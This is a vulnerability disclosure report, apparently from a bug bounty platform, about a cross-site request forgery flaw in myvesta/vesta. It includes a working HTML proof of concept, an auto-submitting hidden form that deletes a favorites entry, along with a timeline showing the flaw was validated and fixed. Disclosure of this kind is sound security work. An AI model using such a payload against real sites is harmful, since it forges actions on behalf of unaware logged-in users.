Cross-Site Request Forgery (CSRF) in myvesta/vesta

Valid

Reported on

Aug 24th 2021

✍️ Description

Attacker is able to "delete" an element from favorite. this vulnerability happens on some sections. for example on “Firewall” tab list/firewall/

🕵️‍♂️ Proof of Concept

1.when you logged in open this POC.html in a browser 2.you can check unintentionally first record deletes from favorite

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.myvesta.com/delete/favorite/index.php">
<input type="hidden" name="v&#95;section" value="firewall" />
<input type="hidden" name="v&#95;unit&#95;id" value="11" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

💥 Impact

This vulnerability is capable of forging admin or user to unintentional delete element from favorite.

💥 Test

Tested on Edge, Firefox, chrome and safari 📍 Location index.php#L1 📝 References csrf

Occurrences

index.php L1

References

csrf

We have contacted a member of the myvesta/vesta team and are waiting to hear back 2 years ago

Musio modified the report

2 years ago

myvesta validated this vulnerability 2 years ago

Musio has been awarded the disclosure bounty

The fix bounty is now up for grabs

myvesta marked this as fixed with commit 475fe4 2 years ago

myvesta has been awarded the fix bounty

This vulnerability will not receive a CVE

to join this conversation